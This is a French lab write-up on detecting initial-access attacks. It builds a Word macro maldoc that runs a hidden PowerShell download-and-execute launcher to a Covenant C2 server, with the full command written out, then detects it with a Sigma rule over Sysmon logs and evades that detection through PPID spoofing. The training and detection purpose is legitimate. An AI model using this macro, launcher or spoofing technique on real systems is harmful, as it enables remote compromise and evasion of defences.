Logo

F-Secure a récemment publié un série de labs sur la détection d’attaque dans les environnements Windows [1]. Nous commencerons ici avec le premier lab qui concerne l’étape d’accès initial et l’utilisation d’un serveur C2 [2].

Définition: Initial access is the set of tactics, techniques and procedures used by malicious actors to obtain a foothold in the target environment

Descriptif du lab: Création d’un payload en VBA qui utilise Powershell pour récupérer un stager sur un serveur distant. Cette technique est entre autre utilisée pour délivrer Emotet.

3ea880e49c70c7ba921bb8de3d3d199a.png Source: [3]

PowerShell Empire utilise une méthode similiare.

Objectif: Construire et analyser une macro Excel/Word malveillante qui utilise PowerShell pour établir une communication avec un serveur C2.

Permettra de démontrer l’importance de l’analyse de process parent-enfant

Lab Config: VM Win 7 Entreprise avec Office 2016, git, Sigma et Sysmon + VM Ubuntu avec Covenant

Covenant: Covenant is a collaborative .NET C2 framework for red teamers.

Set-Up:

  1. Victime: Windows 7

Installation de Office 2016 dans Windows 7

Installer git pour windows

Installer Sysmon: sysmon -i -l -n -h md5,sha256

f6f17a01f1aa82cd4417161020370db3.png

Désactiver l’AV et le firewall

  1. Installation de Covenant sur Ubuntu

2.1. Installation de .NET Core SDK 3.1

sudo wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo add-apt-repository universe
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-3.1

2.2. Installation de Covenant

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
sudo dotnet build
sudo dotnet run

9e5cf541dfe4b92bd867dabab5ae1cae.png

  1. Création de l’admin

11b456cfe6580929743ff0625f82ef34.png

78716384a979d9c66a8220307e9bea16.png

  1. Création d’un listener

70b48204144824df89c0acc40a0286e5.png

listener http sur le port 80. Utilisation de l’IP de la VM Ubuntu

660b3484fbf8f60bdd4d899ee33ba080.png

53f723aa1b77732aeb17d537b86b0db5.png

c6f0c12fbe1df59251da22970991986d.png

  1. Génération du payload

Utilisation de l’implant PowerShell par défaut de Covenant = signature connue -> AV doit être désactivé

Launchers > PowerShell

dfbe97ba4a5666dce81809bd5d796031.png

Laisser les paramètres par défaut et générer

085ddcd14395108ec60a67fbec5a566f.png

fb4d263c382e93a8bbbfa8d69a976033.png

Ce payload est stageless. Nous on veut un payload avec des stages. Pour cela Host

1fb7f71cf2a87b56a1e4933f9d3eaf79.png

Saisir le nom de l’emplacement ici test.ps1 et cliquer sur ‘Host’

ça crée un fichier qu’on peut retrouver en passant dans Listeners

5450d5a86515b28e020c3524be796584.png

f1b0f0694a610989cb2c94d0d796cd9d.png

Dans launcher on a désormais du code avec ‘iex’ pour download le payload

72c27eb6c56cf030eb5f08fdebf54ece.png

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://192.168.1.94/test.ps1')"

  1. Création d’un maldoc Word

Ouvrir Word, clic droit sur le ruban et ‘Personaliser le ruban’

e747eab001e295e23b54ca796dc4705f.png

Cocher ‘développeur’

0cd1193498a933a1ba28966185fe9fe1.png

Aller dans l’ongler développeur puis Visual Basic

87458c299129a4fc1e11bcc650e9ba95.png

Dans l’éditeur, mettre le code du payload

Sub AutoOpen()
	Call Shell("powershell blabliblablabla")
End Sub

526529edce21a21cad7df6241bfa4265.png

Lancer le code et on a un grunt

5c3d970e97c25b6386ada7d1fc648386.png

On peut interagir avec: interact

5465ab9824de46d775f6071a164835aa.png

Analyse

Objectif: Utilisation d’une règle Sigma pour chercher des processus anormaux engendrés par Office dans le journal d’évenement Sysmon

Sigma: Sigma is for log files what Snort is for network traffic and YARA is for files. [10]

Sysmon: System Monitor (Sysmon) (…) provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network. [11]

Installation de sigma

6193d7cf4ea6a4a6e1e35dffa452fbc9.png

installation des dépendances: pip3 install sigmatools

Étant donné qu’on a pas de SIEM déployé pour tester la règle sigma, on va utiliser PowerShell à la place

python sigmac -t powershell ../rules/windows/process_creation/win_office_shell.yml

b61df295987595ee901f49dfe592384a.png

On teste la commande qu’on vient de générer

6f37c8ae563069f8d4a970a96f1074e1.png

On voit très bien le payload de Covenant et la relation parent-enfant

PPID-Spoofing

Il est possible d’usurper le PPID et la ligne de commande pour éviter la détection [12]

f2950d1aaf9abd5492b5a75b4b5e9f16.png

Ici nous utiliserons macro.vba disponible ici: https://github.com/christophetd/spoofing-office-macro

PoC of a VBA macro spawning a process with a spoofed parent and command line

336a73d57f4f0f35c7fca7ef062fab81.png

On modifie le ligne de commande cmdStr avec notre payload Covenant

b158eaa20dcf6342bbd9dc0b5fa9749a.png

On lance le code et on a bien une nouvelle session dans Covenant

79e896d6fc3daa1bc95a48ea454cd672.png

On relance la commande PowerShell pour la règle Sigma et on observe rien de nouveau…

Ouvrir Event Viewer et se rendre à Applications and Services Logs/Microsoft/Windows/Sysmon/Operational

On regarde les logs et on trouve:

6df2970577accad8494985073ec113c1.png

On voit dans CommandLine: powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName

Cette commande semble bénine mais en réalité il s’agit de l’installation de notre implant Covenant…

Conclusion

Dans ce lab, nous avons vu:

  • comment créer un document Word malveillant qui utilise Covenant comme infra C2
  • comment utiliser une règle Sigma pour analyser les logs Sysmon
  • comment spoofer le PPID afin de bypass les systèmes de détection

Références

[1] F-Secure, Attack Fundamentals Workshops, https://www.f-secure.com/en/consulting/events/attack-detection-fundamentals-workshops

[2] F-Secure, Attack Detection Fundamentals - Initial Access Lab1, https://labs.f-secure.com/blog/attack-detection-fundamentals-initial-access-lab-1/

[3] TechTarget, Command-and-control servers: The puppet masters that govern malware, https://searchsecurity.techtarget.com/feature/Command-and-control-servers-The-puppet-masters-that-govern-malware

[4] Cobbr, Covenant - Installation and Startup, https://github.com/cobbr/Covenant/wiki/Installation-And-Startup

[4] Install .NET Core SDK 3.1 in Ubuntu 20.04LTS, https://abhisheksubbu.github.io/dotnet-core-install-ubuntu-20-04-lts/

[5] Hakin9, Covenant the .NET based C2 on Kali Linux, [https://hakin9.org/covenant-the-net-based-c2-on-kali-linux/]

[6] Cobbr, Covenant: The Usability Update, https://cobbr.io/Covenant-The-Usability-Update.html

[7] Getting Started with Covenant, https://fatrodzianko.com/2019/08/14/getting-started-with-covenant-c2/

[8] Setup Configuration and Task Execution with Covenant: The Complete Guide, https://stealthbits.com/blog/setup-configuration-and-task-execution-with-covenant-the-complete-guide/

[9] Interacting with Covenant C2, https://bestestredteam.com/2020/02/19/interacting-with-covenant-c2/

[10] Neo23x0, Sigma, https://github.com/Neo23x0/sigma/

[11] Windows, Sysmon, https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

[12] MITRE ATT&CK, Defense Evasion, https://attack.mitre.org/tactics/TA0005/

Poursuivez avec :

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.